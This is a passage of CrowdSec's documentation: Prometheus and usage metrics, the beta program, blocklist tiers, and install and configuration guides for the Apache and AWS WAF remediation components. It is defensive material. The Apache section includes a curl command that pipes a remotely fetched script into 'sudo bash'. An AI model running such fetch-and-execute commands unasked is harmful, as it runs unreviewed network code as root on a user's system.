`acquis_type`) example TEXTCOPY ``` # 235 lines from `auth.log` were processed by the `crowdsecurity/dateparse-enrich` parser cs_node_hits_total{name="crowdsecurity/dateparse-enrich",source="/var/log/auth.log",type="syslog",stage="s01-parse",acquis_type="file"} 235 ``` * `cs_node_hits_ko_total` : how many times an event from a specific source was unsuccessfully parsed by a specific parser (Counter, labels: `source`, `type`, `name`, `stage`, `acquis_type`) example TEXTCOPY ``` # 2112 lines from `error.log` failed to be parsed by `crowdsecurity/http-logs` cs_node_hits_ko_total{name="crowdsecurity/http-logs",source="/var/log/nginx/error.log",type="nginx",stage="s01-parse",acquis_type="file"} 2112 ``` * `cs_node_hits_ok_total` : how many times an event from a specific source was successfully parsed by a specific parser (Counter, labels: `source`, `type`, `name`, `stage`, `acquis_type`) * `cs_node_wl_hits_total` : how many times an event was processed by a whitelist node (Counter, labels: `source`, `type`, `name`, `reason`, `stage`, `acquis_type`) * `cs_node_wl_hits_ok_total` : how many times an event was successfully whitelisted by a node (Counter, labels: `source`, `type`, `name`, `reason`, `stage`, `acquis_type`) * `cs_parser_hits_total` : how many times an event from a source has hit the parser (Counter, labels: `source`, `type`) * `cs_parser_hits_ok_total` : how many times an event from a source was successfully parsed (Counter, labels: `source`, `type`, `acquis_type`) * `cs_parser_hits_ko_total` : how many times an event from a source was unsuccessfully parsed (Counter, labels: `source`, `type`, `acquis_type`) #### Processing[โ€‹](#processing "Direct link to Processing") * `cs_parsing_time_seconds` : time spent parsing a line (Histogram, labels: `type`, `source`) * `cs_bucket_pour_seconds` : time spent pouring an event to buckets (Histogram, labels: `type`, `source`) #### Decisions & Alerts[โ€‹](#decisions--alerts "Direct link to Decisions & Alerts") * `cs_active_decisions` : number of active decisions (Gauge, labels: `reason`, `origin`, `action`) * `cs_alerts` : number of alerts, excluding CAPI (Gauge, labels: `reason`) #### Application Security Engine[โ€‹](#application-security-engine "Direct link to Application Security Engine") * `cs_appsec_reqs_total` : total events processed by the Application Security Engine (Counter, labels: `source`, `appsec_engine`) * `cs_appsec_block_total` : total events blocked by the Application Security Engine (Counter, labels: `source`, `appsec_engine`) * `cs_appsec_rule_hits` : count of triggered rules (Counter, labels: `rule_name`, `type`, `appsec_engine`, `source`) * `cs_appsec_parsing_time_seconds` : time spent processing a request by the Application Security Engine (Histogram, labels: `source`, `appsec_engine`) * `cs_appsec_inband_parsing_time_seconds` : time spent processing a request by the inband Application Security Engine (Histogram, labels: `source`, `appsec_engine`) * `cs_appsec_outband_parsing_time_seconds` : time spent processing a request by the outband Application Security Engine (Histogram, labels: `source`, `appsec_engine`) #### Acquisition[โ€‹](#acquisition "Direct link to Acquisition") Acquisition metrics are split by datasource. They only appear when the corresponding datasource is configured. The following metrics are available : ##### Cloudwatch[โ€‹](#cloudwatch "Direct link to Cloudwatch") * `cs_cloudwatch_openstreams_total` : number of opened streams within group (Gauge, labels: `group`) * `cs_cloudwatch_stream_hits_total` : number of events read from stream (Counter, labels: `group`, `stream`) ##### Docker[โ€‹](#docker "Direct link to Docker") * `cs_dockersource_hits_total` : total lines that were read (Counter, labels: `source`) ##### Files[โ€‹](#files "Direct link to Files") * `cs_filesource_hits_total` : total lines that were read (Counter, labels: `source`) ##### HTTP[โ€‹](#http "Direct link to HTTP") * `cs_httpsource_hits_total` : total lines that were read from HTTP source (Counter, labels: `path`, `src`) ##### Journald[โ€‹](#journald "Direct link to Journald") * `cs_journalctlsource_hits_total` : total lines that were read (Counter, labels: `source`) ##### Kafka[โ€‹](#kafka "Direct link to Kafka") * `cs_kafkasource_hits_total` : total lines that were read from topic (Counter, labels: `topic`) ##### Kinesis[โ€‹](#kinesis "Direct link to Kinesis") * `cs_kinesis_stream_hits_total` : number of events read per stream (Counter, labels: `stream`) * `cs_kinesis_shards_hits_total` : number of events read per shard (Counter, labels: `stream`, `shard`) ##### Kubernetes Audit[โ€‹](#kubernetes-audit "Direct link to Kubernetes Audit") * `cs_k8sauditsource_hits_total` : total number of events received by k8s-audit source (Counter, labels: `source`) * `cs_k8sauditsource_requests_total` : total number of requests received (Counter, labels: `source`) ##### Loki[โ€‹](#loki "Direct link to Loki") * `cs_lokisource_hits_total` : total lines that were read (Counter, labels: `source`) ##### S3[โ€‹](#s3 "Direct link to S3") * `cs_s3_hits_total` : number of events read per bucket (Counter, labels: `bucket`) * `cs_s3_objects_total` : number of objects read per bucket (Counter, labels: `bucket`) * `cs_s3_sqs_messages_total` : number of SQS messages received per queue (Counter, labels: `queue`) ##### Syslog[โ€‹](#syslog "Direct link to Syslog") * `cs_syslogsource_hits_total` : total lines that were received (Counter, labels: `source`) * `cs_syslogsource_parsed_total` : total lines that were successfully parsed by the syslog server (Counter, labels: `source`, `type`) ##### VictoriaLogs[โ€‹](#victorialogs "Direct link to VictoriaLogs") * `cs_victorialogssource_hits_total` : total lines that were read (Counter, labels: `source`) ##### Windows EventLog[โ€‹](#windows-eventlog "Direct link to Windows EventLog") * `cs_winevtlogsource_hits_total` : total events that were read (Counter, labels: `source`) #### Local API[โ€‹](#local-api "Direct link to Local API") * `cs_lapi_route_requests_total` : number of calls to each route per method (Counter, labels: `route`, `method`) * `cs_lapi_machine_requests_total` : number of calls to each route per method grouped by machines (Counter, labels: `machine`, `route`, `method`) * `cs_lapi_bouncer_requests_total` : number of calls to each route per method grouped by bouncers (Counter, labels: `bouncer`, `route`, `method`) * `cs_lapi_decisions_ko_total` : number of calls to /decisions that returned nil result (Counter, labels: `bouncer`) * `cs_lapi_decisions_ok_total` : number of calls to /decisions that returned non-nil result (Counter, labels: `bouncer`) * `cs_lapi_request_duration_seconds` : response time of LAPI (Histogram, labels: `endpoint`, `method`) #### Cache[โ€‹](#cache "Direct link to Cache") * `cs_cache_size` : entries per cache (Gauge, labels: `name`, `type`) * `cs_regexp_cache_size` : entries per regexp cache (Gauge, labels: `name`) #### Info[โ€‹](#info "Direct link to Info") * `cs_info` : Information about CrowdSec (software version) *** ## More ways to learn [![More ways to learn](/img/academy/monitoring_crowdsec.svg)](https://academy.crowdsec.net/course/monitoring-crowdsec?utm_source=docs\&utm_medium=banner\&utm_campaign=prometheus-page\&utm_id=academydocs) Watch a short series of videos on how to observe and monitor CrowdSec. [**Learn with CrowdSec Academy**](https://academy.crowdsec.net/course/monitoring-crowdsec?utm_source=docs\&utm_medium=banner\&utm_campaign=prometheus-page\&utm_id=academydocs) *** ### Exploitation with prometheus server & grafana[โ€‹](#exploitation-with-prometheus-server--grafana "Direct link to Exploitation with prometheus server & grafana") Those metrics can be scraped by [prometheus server](https://prometheus.io/docs/introduction/overview/#architecture) and visualized with [grafana](https://grafana.com/). They [can be downloaded here](https://github.com/crowdsecurity/grafana-dashboards) : ![Overview](/assets/images/grafana_overview-ce1b12e27f427b5e1607277ce74b00be.png) ![Insight](/assets/images/grafana_insight-0c66fae270b709dd226f5bab30c5d4de.png) ![Details](/assets/images/grafana_details-b85bb50ba9ba9424c48bdbdffc5b4e7f.png) --- # Usage Metrics info Usage metrics require at least CrowdSec v1.6.3 Support on Remediation Components are rolling out progressively. Please check the relevant [documentation](https://docs.crowdsec.net/u/bouncers/intro.md) to see if your Remediation Component has support. Logs processors and Remediation Components can provide detailed usage data to the [Local API (LAPI)](https://docs.crowdsec.net/docs/next/local_api/intro.md), allowing for a unified view of their behavior and better insights. ## Remediation Components[โ€‹](#remediation-components "Direct link to Remediation Components") Remediation Components can send detailed information about themselves and what decisions they are acting on. The specific metrics sent vary depending on the type of Remediation Component used. For example, the [firewall Remediation Component](https://docs.crowdsec.net/u/bouncers/firewall.md) can report metrics on dropped bytes or packets, while the [OpenResty Remediation Component](https://docs.crowdsec.net/u/bouncers/openresty.md) can report metrics on dropped HTTP requests. The same applies to interpreting the metrics: when blocking at the firewall level, most bots or attackers stop once they realize they can't connect to the target server. Therefore, the dropped packets or bytes should be seen as relative indicators of effectiveness between different blocking sources, not as the exact number of packets that would have been transmitted if the IP weren't blocked. In contrast, HTTP-based Remediation Components typically count each handled request, as attackers are less likely to stop after receiving a 403 response or a Captcha challenge. Whenever possible, the Remediation Components will break down the remediated traffic by the source of the decision. Currently, CrowdSec supports the following origins: * `crowdsec`: an automated decision based on behavioral analysis of your logs * `CAPI`: a decision coming from the Community Blocklist * `cscli`: a manual decision added with [`cscli decisions add`](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_add.md) * `cscli-import`: decisions that were imported with [`cscli decisions import`](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_import.md) * `appsec`: the request was blocked by an appsec rule * `console`: a manual decision added from the [console](https://app.crowdsec.net) * `lists:XXX`: a decision coming from a blocklist subscribed in the [console](https://app.crowdsec.net). `XXX` is the name of the blocklist. You can view the metrics locally using [`cscli metrics show bouncers`](https://docs.crowdsec.net/docs/next/cscli/cscli_metrics_show.md): ![usage metrics csli](/assets/images/usage_metrics_cscli_example-d8fbc547cb8ac3600742fbbe3e94c72c.png) The Remediation Components will send the number of decisions that are actually enforced. These numbers may differ from what is shown by [`cscli decisions list`](https://docs.crowdsec.net/docs/next/cscli/cscli_decisions_list.md) for several reasons: * Filters are applied when querying LAPI (such as scope, scenarios, etc.). * LAPI deduplicates decisions before sending. If an IP is listed in multiple sources, only the decision with the longest remaining time is sent (useful for assessing blocklist overlap). Remediation components will also send the version of the OS they are running on. You can see this information with [`cscli bouncers inspect XXX`](https://docs.crowdsec.net/docs/next/cscli/cscli_bouncers_inspect.md): ![usage metrics bouncer OS](/assets/images/usage_metrics_bouncer_os-9b354fcb32fdd8c1451de260a9ef2760.png) ## Log Processors[โ€‹](#log-processors "Direct link to Log Processors") info Log Processors are the underlying component within the Security Engine that processes logs and sends Alerts to the LAPI. If you are running a multi-server setup, you will have multiple Log Processors. Logs processors can also send more information about themselves to LAPI: * Operating system information (version, distribution/platform) * Number of [datasources](https://docs.crowdsec.net/docs/next/log_processor/data_sources/intro.md) configured per type * Enabled [features flags](https://docs.crowdsec.net/docs/next/configuration/feature_flags.md) * Installed Hub files (including [custom / tainted](https://docs.crowdsec.net/u/troubleshooting/intro.md#why-are-some-scenariosparsers-tainted-or-custom-) files): * AppSec-Config * AppSec-Rules * Collections * Contexts * Parsers * Scenarios You can show this data by using [`cscli machines inspect XXX`](https://docs.crowdsec.net/docs/next/cscli/cscli_machines_inspect.md): ![usage metrics LP](/assets/images/usage_metrics_lp_cscli-c8e70ddb321d1f4f1ba4de71bad9774e.png) By default, only the collections are shown in order to keep the output readable. If you want to see the entire hub state of a given Log Processor, you can use `cscli machines inspect --hub XXX`. --- # Beta Program ![CrowdSec Beta Program](/img/beta_program_header.png "CrowdSec Beta Program") ## About the Beta Program[โ€‹](#about-the-beta-program "Direct link to About the Beta Program") Join our Beta program to get early access to new features and functionalities for the CrowdSec Security Engine and Console. Your participation and feedback are key to CrowdSecโ€™s community-driven approach. Help us refine and improve our offerings and provide solutions that serve you and the community better. To join the CrowdSec Beta program, click the [Beta opt-in option directly in the Console](https://app.crowdsec.net/settings). ![CrowdSec Beta Program](/img/console_beta_program_optin_section.png "CrowdSec Beta Program") ## Upcoming Betas[โ€‹](#upcoming-betas "Direct link to Upcoming Betas") ### Remediation Sync - Closed Beta starting October 10, 2025[โ€‹](#remediation-sync---closed-beta-starting-october-10-2025 "Direct link to Remediation Sync - Closed Beta starting October 10, 2025") #### What is it and what to expect?[โ€‹](#what-is-it-and-what-to-expect "Direct link to What is it and what to expect?") **Remediation Sync** enables automatic synchronization of security decisions across your entire CrowdSec infrastructure. Any decision from one Security Engine is automatically synced to all other Security Engines and your Blocklist-as-a-Service (BLaaS) endpoints, allowing for simple, consistent edge enforcement across your organization. This feature provides: * Centralized decision management across multiple Security Engines * Automatic propagation of blocking decisions to all enforcement points * Consistent security posture across distributed infrastructures * Simplified management of complex multi-site deployments #### Who will have access to it?[โ€‹](#who-will-have-access-to-it "Direct link to Who will have access to it?") This is a closed beta program. If you're interested in participating, reply to our beta invitation email with one short sentence on how this would improve your CrowdSec setup. We'll activate the feature on your organization once selected. #### How it works:[โ€‹](#how-it-works "Direct link to How it works:") * Decisions made by any Security Engine in your organization are automatically shared * All connected Security Engines receive and apply these decisions * BLaaS endpoints are updated to include the synchronized decisions * Provides unified protection across your entire infrastructure ## Past Beta Programs[โ€‹](#past-beta-programs "Direct link to Past Beta Programs") ### Console Notifications - Beta completed June 10, 2025[โ€‹](#console-notifications---beta-completed-june-10-2025 "Direct link to Console Notifications - Beta completed June 10, 2025") The **Console Notifications** feature allows you to set up custom notification rules and receive alerts via multiple channels. Key capabilities include: * Custom notification rules based on specific events or conditions * Multiple notification channels including Slack, Discord, webhooks, and more * Targeted notifications for different types of security events * Direct management from the CrowdSec Console **Now available:** Navigate to your [Console Settings](https://docs.crowdsec.net/u/console/notification_integrations/overview.md) to configure notifications. ### Centralized Allow Lists - Beta completed March 31, 2025[โ€‹](#centralized-allow-lists---beta-completed-march-31-2025 "Direct link to Centralized Allow Lists - Beta completed March 31, 2025") The **Centralized Allow Lists** feature enables you to manage allowlists across all your Security Engines from a single location. This premium feature allows you to: * Create organization-wide allowlists with trusted IP addresses and ranges * Set expiration dates for allowlist entries * Subscribe integrations and Security Engines to specific allowlists * Prevent blocking of known safe IP addresses across your infrastructure **Now available:** [Learn more about Centralized Allow Lists](https://docs.crowdsec.net/u/console/allowlists.md) ### CrowdSec Threat Forecast Blocklist - Beta completed 2024-10-25[โ€‹](#crowdsec-threat-forecast-blocklist---beta-completed-2024-10-25 "Direct link to CrowdSec Threat Forecast Blocklist - Beta completed 2024-10-25") The **Threat Forecast Blocklist** was a dynamic, adaptive blocklist customized to organizations' signals, predicting threats that would likely target similar infrastructure profiles. **Now available:** This feature has been integrated into our premium blocklist offerings via the Enterprise plan. Learn more about the [Threat Forecast Blocklist](https://docs.crowdsec.net/u/console/threat_forecast.md). ## Your feedback is key[โ€‹](#your-feedback-is-key "Direct link to Your feedback is key") As one of the first testers of the Threat Forecast Blocklist, your insights are crucial. Join the #beta-program channel on Discord, to share your experience and connect with fellow Beta Program members. At the end of the testing period, we'll also send a brief survey to gather your feedback. --- # Getting Started New to CrowdSec blocklists? Read the [Introduction](https://docs.crowdsec.net/u/blocklists/intro.md) first to understand how they work and the available tiers. Then choose one of the two paths below โ€” most people pick **one or the other, not both**. ## Choose your path[โ€‹](#choose-your-path "Direct link to Choose your path") Path A ยท Self-hosted CrowdSec Security Engine Ingest blocklists with the open-source agent. Behavior detection, parsing pipeline, Local API โ€” everything runs on your infra. Behavior + reputation in one engine 60+ bouncers (NGINX, FW, CDNโ€ฆ) Free community blocklists included [Get started](https://docs.crowdsec.net/u/blocklists/security_engine.md) Path B ยท No agent Direct Integrations Push CrowdSec blocklists straight into your existing firewall, CDN, or WAF. No agent to install โ€” just configure your subscription. Cloudflare, AWS WAF, Fortinetโ€ฆ Setup in minutes from the Console Premium tiers for richer feeds [Browse integrations](https://docs.crowdsec.net/u/integrations/intro.md) ## Quick comparison[โ€‹](#quick-comparison "Direct link to Quick comparison") | | Security Engine | Integrations | | ------------------- | ---------------------- | ---------------------------- | | Setup time | \~ 10 min | \~ 2 min | | Runs on | Your infrastructure | Your existing firewall / CDN | | Behavior detection | Yes โ€” full engine | No โ€” blocklists only | | Best for | Servers, gateways, k8s | Edge, WAF, managed CDN | | Free community feed | Included | Included | --- # Introduction ## Objective[โ€‹](#objective "Direct link to Objective") Welcome to the documentation section dedicated to CrowdSec's Blocklists. This section will outline what Blocklists are, how they work, and how you can use them to protect your systems. ## What are CrowdSec Blocklists?[โ€‹](#what-are-crowdsec-blocklists "Direct link to What are CrowdSec Blocklists?") Blocklists are lists of IP addresses that are known to be malicious. These lists are curated by CrowdSec and empower you to block malicious IP addresses from accessing your systems with [zero false positives](#zero-false-positives). We outlined in our [CrowdSec Data](https://www.crowdsec.net/our-data) page how we collect and curate these IP addresses to ensure that the data is fresh and free from false positives. In most cases you will use these lists to block malicious IP addresses from accessing your systems. However, since it is a feed of IP addresses that are known to be malicious, you can also use it to enrich your SIEM, threat intelligence platform, or any other security tool that you use. ## Zero False Positives[โ€‹](#zero-false-positives "Direct link to Zero False Positives") Whilst we check for [Safe Classifications](https://docs.crowdsec.net/u/cti_api/taxonomy/false_positives.md) within **all** blocklist we provide (Third Party, CrowdSec Premium and CrowdSec Platinum), we cannot guarantee that **Third Party** blocklists are free from false positives as the data is not curated by CrowdSec. ## How do CrowdSec Blocklists work?[โ€‹](#how-do-crowdsec-blocklists-work "Direct link to How do CrowdSec Blocklists work?") CrowdSec Blocklists are updated in real time and are available in various formats. We provide Blocklists in different categories such as Industry, Technology (Wordpress, VPN / Proxy) and Threat Intelligence (Botnet, Malware, etc.). ### CrowdSec Blocklist Tiers[โ€‹](#crowdsec-blocklist-tiers "Direct link to CrowdSec Blocklist Tiers") CrowdSec Blocklists are available in three tiers: * Community: * Limited number of Blocklists (Third-party and Free). * You are limited to 3 Blocklists across [Integrations](https://docs.crowdsec.net/u/integrations/intro.md) and [Security Engines](https://docs.crowdsec.net/u/getting_started/intro.md). * Premium (Included in paid plans): * Includes free tier * Removes the limit on the number of Blocklists you can use. * Includes additional Blocklists that are not available in the Community tier (Premium Blocklists). * Platinum (Additional paid tier): * Includes Premium tier * Includes additional Blocklists that are not available in the Premium tier (Platinum Blocklists). > Question: Why is platinum tier an additional paid tier? The Platinum tier offers additional Blocklists that are meticulously curated and tailored for specific purposes. The extra cost covers the curation and maintenance of these Blocklists, as we utilize AI and ML models to identify malicious IP addresses. ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Now that you have an understanding of what CrowdSec Blocklists are, you can proceed to the [Getting Started](https://docs.crowdsec.net/u/blocklists/getting_started.md) guide to learn how to start using Blocklists. If you are unsure where to start, feel free to browse our [main website for more information](https://www.crowdsec.net/). --- # Security Engine This page is used to reference other pages into a single guide. It is not meant to be used as a standalone page. ### Pre-requisites[โ€‹](#pre-requisites "Direct link to Pre-requisites") info If you already have installed and enrolled your Security Engine you can skip this section. Before using blocklists with Security Engines, we recommend following these guides: Security Engine Quick Start: * [Linux](https://docs.crowdsec.net/u/getting_started/installation/linux.md) * [FreeBSD](https://docs.crowdsec.net/u/getting_started/installation/freebsd.md) * [Windows](https://docs.crowdsec.net/u/getting_started/installation/windows.md) * [Docker](https://docs.crowdsec.net/u/getting_started/installation/docker.md) * [Kubernetes](https://docs.crowdsec.net/u/getting_started/installation/kubernetes.md) * [WHM](https://docs.crowdsec.net/u/getting_started/installation/whm.md) Install Remediation Component: * [Unix Firewall](https://docs.crowdsec.net/u/bouncers/firewall.md) * [Nginx](https://docs.crowdsec.net/u/bouncers/nginx.md) * [HAProxy](https://docs.crowdsec.net/u/bouncers/haproxy.md) * [Cloudflare Workers](https://docs.crowdsec.net/u/blocklists/bouncers/cloudflare-workers.mdx) The above is just a limited selection of the available Remediation Components. To see the complete list, including Third Party options, visit the [Hub](https://hub.crowdsec.net/remediation-components). After installing a Security Engine, ensure you enroll it to the [Console](https://app.crowdsec.net/). If you need assistance with this process, you can follow [this guide](https://docs.crowdsec.net/u/getting_started/post_installation/console.md). ### Blocklists[โ€‹](#blocklists "Direct link to Blocklists") Once you have completed the above steps, you can start using blocklists with your Security Engine. To do this, you will need to: * Find a blocklist on the [Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) you wish to use. * Use the [Subscription Section](https://docs.crowdsec.net/u/console/blocklists/subscription.md#security-engines) to tie the blocklist to your Security Engine. --- # Apache ![CrowdSec](/img/crowdsec_apache2.svg "CrowdSec") ![](https://img.shields.io/badge/build-pass-green)![](https://img.shields.io/badge/tests-pass-green) ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) A Remediation Component for Apache. warning Beta Remediation Component, please report any issues on [GitHub](https://github.com/crowdsecurity/cs-apache2-bouncer/issues) ## How does it work ?[โ€‹](#how-does-it-work- "Direct link to How does it work ?") This component leverages Apache's module mecanism to provide IP address blocking capability. The module supports **Live mode** with a local (in-memory) cache. At the back, this component uses `mod_proxy`, `mod_ssl` for requests to LAPI, and `mod_socache` for the caching feature. ## Installation[โ€‹](#installation "Direct link to Installation") warning Packages are only available for debian and ubuntu systems. The module can be built and installed on other platform as well. Please keep in mind that this bouncer only supports live mode. * Debian/Ubuntu * Others (build from source) ### Repository configuration[โ€‹](#repository-configuration "Direct link to Repository configuration") warning Please note that the repository for this package is not the same as the one holding CrowdSec's binary packages, SHCOPY ``` curl -s https://packagecloud.io/install/repositories/crowdsec/crowdsec-apache/script.deb.sh | sudo bash ``` ### Installation[โ€‹](#installation-1 "Direct link to Installation") SHCOPY ``` sudo apt-get install crowdsec-apache2-bouncer ``` Clone or download directly [from our GitHub repository](https://github.com/crowdsecurity/cs-apache2-bouncer). SHCOPY ``` aclocal autoconf autoheader automake --add-missing ./configure make sudo make install sudo cp config/mod_crowdsec.* /etc/apache2/mods-available/ sudo mkdir -p /etc/crowdsec/bouncers/ sudo cp ./config/crowdsec-apache2-bouncer.conf /etc/crowdsec/bouncers/ ``` ### Initial Configuration[โ€‹](#initial-configuration "Direct link to Initial Configuration") Enable the mod\_crowdsec module: SHCOPY ``` sudo a2enmod mod_crowdsec ``` Generate an API key for the bouncer \[1]: SHCOPY ``` sudo cscli bouncers add apache2 ``` Remediation Component config's is located in `/etc/crowdsec/bouncers/crowdsec-apache2-bouncer.conf`: SHCOPY ``` ## Replace the API key with the newly generated one [1] CrowdsecAPIKey this_is_a_bad_password ``` info If needed, edit `CrowdsecURL` (and other parameters) SHCOPY ``` sudo systemctl restart apache2 ``` ## Configuration directives[โ€‹](#configuration-directives "Direct link to Configuration directives") The configuration file is stored in `/etc/crowdsec/bouncers/crowdsec-apache2-bouncer.conf` by default. ### `Crowdsec`[โ€‹](#crowdsec "Direct link to crowdsec") > on|off Enable or disable module globally: * `off` (**default**): Module has to be enabled per location. * `on`: Module is enabled by default. Behavior can be overriden in any location. ### `CrowdsecFallback`[โ€‹](#crowdsecfallback "Direct link to crowdsecfallback") > fail|block|allow How to respond if the Crowdsec API is not available: * `fail` returns a 500 Internal Server Error. * `block` returns a 302 Redirect (or 429 Too Many Requests if CrowdsecLocation is unset). * `allow` (**default**) will allow the request through. ### `CrowdsecBlockedHTTPCode`[โ€‹](#crowdsecblockedhttpcode "Direct link to crowdsecblockedhttpcode") > 500|403|429 HTTP code to return when a request is blocked (default is `429`). ### `CrowdsecLocation`[โ€‹](#crowdseclocation "Direct link to crowdseclocation") Set to the URL to redirect to when the IP address is banned. As per RFC 7231 may be a path, or a full URL. For example: /sorry.html ### `CrowdsecURL`[โ€‹](#crowdsecurl "Direct link to crowdsecurl") Set to the URL of the Crowdsec API. For example: . ### `CrowdsecAPIKey`[โ€‹](#crowdsecapikey "Direct link to crowdsecapikey") Set to the API key of the Crowdsec API. Add an API key using 'cscli bouncers add'. ### `CrowdsecCache`[โ€‹](#crowdseccache "Direct link to crowdseccache") Enable the crowdsec cache. Defaults to 'none'. Options detailed here: . ### `CrowdsecCacheTimeout`[โ€‹](#crowdseccachetimeout "Direct link to crowdseccachetimeout") Set the crowdsec cache timeout. Defaults to 60 seconds. ## Next steps[โ€‹](#next-steps "Direct link to Next steps") ### Overriding HTTP Response[โ€‹](#overriding-http-response "Direct link to Overriding HTTP Response") If you want to return custom HTTP code and/or content, you can use `CrowdsecLocation` and `RewriteRules` : SHCOPY ``` CrowdsecLocation /one/ ``` SHCOPY ``` Crowdsec off RewriteEngine On RewriteRule .* - [R=403,L] # Require all denied ErrorDocument 403 "hell nooo" ``` --- # AWS WAF ![CrowdSec](/img/aws-waf-bouncer-logo.png "CrowdSec") ๐Ÿ“š [Documentation](#installation/) ๐Ÿ’  [Hub](https://hub.crowdsec.net) ๐Ÿ’ฌ [Discourse](https://discourse.crowdsec.net) ModeStream only MetricsUnsupported MTLSSupported PrometheusUnsupported ## Overview[โ€‹](#overview "Direct link to Overview") The `crowdsec-awf-waf-bouncer` automatically adds rules to an AWS WAF ACL and manages IPSets content to apply decisions taken by crowdsec. This allows to protect the following AWS resources with crowdsec: * AWS REST API Gateway * Cloudfront distribution * AWS Application LoadBalancer * AWS AppSync GraphQL API As the component does not manage your WAF ACLs, you will need to have existing ACLs already associated with your AWS resources for the component to work properly. The component supports the `ban` and `captcha` remediation type and can be configured to fall back to one of those for decisions of unknown type. It can block at the IP (using `ip` scope in CrowdSec), range (using `range` scope in CrowdSec) or country level (using `country` scope in CrowdSec). The component will create all required resources and associate them with your existing ACLs based on your provided configuration. As the resources will incur an AWS cost, the component will remove everything it created when stopping. If you do not have an existing AWS WAF configuration, you can refer to the [official documentation](https://docs.aws.amazon.com/waf/latest/developerguide/waf-chapter.html) to get started. ## Installation[โ€‹](#installation "Direct link to Installation") ### Using packages[โ€‹](#using-packages "Direct link to Using packages") Packages for crowdsec-aws-waf-bouncer [are available on our repositories](https://docs.crowdsec.net/u/getting_started/installation/linux.md#repository-installation). You need to pick the package accord to your firewall system : * Debian/Ubuntu * RHEL/Centos/Fedora SHCOPY ``` sudo apt install crowdsec-aws-waf-bouncer ``` SHCOPY ``` sudo yum install crowdsec-aws-waf-bouncer ``` ### Docker[โ€‹](#docker "Direct link to Docker") SHCOPY ``` docker run -e BOUNCER_CONFIG_FILE=/cs-aws-waf-bouncer.yaml -v $(PWD)/config.yaml:/cs-aws-waf-bouncer.yaml crowdsecurity/aws-waf-bouncer ``` info The remediation component can take some time to delete all created resources on shutdown. The default docker timeout of 10s before sending a `SIGKILL` to the process might not always been enough. You can increase it by specifying `--stop-timeout` in your `run` command or by setting `stop_grace_period` when using compose. ## Configuration Reference[โ€‹](#configuration-reference "Direct link to Configuration Reference") You will need to edit `/etc/crowdsec/bouncers/crowdsec-aws-waf-bouncer.yaml` to configure the ACLs you want the component to use. YAMLCOPY ``` api_key: XXXX api_url: "http://127.0.0.1:8080/" update_frequency: 10s waf_config: - web_acl_name: mywebacl fallback_action: ban rule_group_name: crowdsec-rule-group-eu-west-1 scope: REGIONAL region: eu-west-1 ipset_prefix: crowdsec-ipset-a ip_header: X-Forwarded-For ip_header_position: LAST aws_profile: myprofile - web_acl_name: test-cloudfront fallback_action: captcha rule_group_name: crowdsec-rule-group-cloudfront scope: CLOUDFRONT ipset_prefix: crowdsec-ipset-cf ``` Optionally, the component can also be configured using only environment variables. Environment variables will take priority over values defined in the configuration file, in which case the suggested approach is via `systemctl edit crowdsec-aws-waf-bouncer`: TEXTCOPY ``` [Service] Environment="BOUNCER_API_KEY=XXXXX" ``` AWS authentication is handled with the standard environment variables (AWS\_ACCESS\_KEY\_ID, AWS\_SECRET\_ACCESS\_KEY, AWS\_PROFILE) or instance role. You can also use the `aws_profile` directive to specify a profile to use for a specific waf configuration. *** ### `api_key`[โ€‹](#api_key "Direct link to api_key") > string > Environment variable: `BOUNCER_API_KEY` API key to use for communication with LAPI. ### `api_url`[โ€‹](#api_url "Direct link to api_url") > string > Environment variable: `BOUNCER_API_URL` URL of LAPI EG `http://127.0.0.1:8080` ### `update_frequency`[โ€‹](#update_frequency "Direct link to update_frequency") > string (That is parseable by [time.ParseDuration](https://golang.org/pkg/time/#ParseDuration)) > Environment variable: `BOUNCER_UPDATE_FREQUENCY` How often the component will contact LAPI to update its content. ### `supported_actions`[โ€‹](#supported_actions "Direct link to supported_actions") > string > Environment variable: `BOUNCER_SUPPORTED_ACTIONS` Which actions (ie, remediation type) the component supports. List with any of the following: `ban`, `captcha`, `count`. Default to `ban`, `captcha` and `count`. If set from the environment, provide a comma-separated list: `ban,captcha,count`. *** ### `waf_config`[โ€‹](#waf_config "Direct link to waf_config") > \[ ][AclConfig](https://github.com/crowdsecurity/cs-aws-waf-bouncer/blob/ae18a8d09d6186117d570b229d698979edd50b7e/pkg/cfg/config.go#L33-L47) > Environment variable: `BOUNCER_WAF_CONFIG_` List of object with the following properties: TEXTCOPY ``` waf_config: - web_acl_name: mywebacl fallback_action: ban rule_group_name: crowdsec-rule-group-XXX scope: REGIONAL region: eu-west-1 ipset_prefix: crowdsec-ipset- ``` info When configuring via environment variables, you can pass multiple `BOUNCER_WAF_CONFIG_X_` variables, with `X` being a unique identifier (eg, `0`, `1`, `2`). ### `web_acl_name`[โ€‹](#web_acl_name "Direct link to web_acl_name") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_WEB_ACL_NAME` Name of the WAF ACL in which the rule group will be added ### `fallback_action`[โ€‹](#fallback_action "Direct link to fallback_action") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_FALLBACK_ACTION` Action to use if the type of a decision is not in the list defined by `supported_actions`. Must be one of `captcha`, `ban` or `count`. ### `rule_group_name`[โ€‹](#rule_group_name "Direct link to rule_group_name") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_RULE_GROUP_NAME` Name of the rule group the component will create and add to the WAF ACL. Must be unique across all the configuration. 2 rules can be created: * crowdsec-rule-ban * crowdsec-rule-captcha Those rules are automatically deleted if no decisions of the associated type exist. If a decision for a country is received, the following rules will be created: * crowdsec-rule-ban-country: Contains a geomatch statement for banned countries * crowdsec-rule-captcha-country: Contains a geomatch statement for captcha'ed countries Those rules will be deleted on shutdown and recreated on startup if they already exist. ### `scope`[โ€‹](#scope "Direct link to scope") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_SCOPE` Scope of the rule group and ipset. Can be `REGIONAL` or `CLOUDFRONT`. Must match the scope of the WAF ACL. ### `region`[โ€‹](#region "Direct link to region") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_REGION` Region where all resources will be created. No required when scope is `CLOUDFRONT` ### `ipset_prefix`[โ€‹](#ipset_prefix "Direct link to ipset_prefix") > string > Environment variable: `BOUNCER_WAF_CONFIG_X_IPSET_PREFIX` Prefix 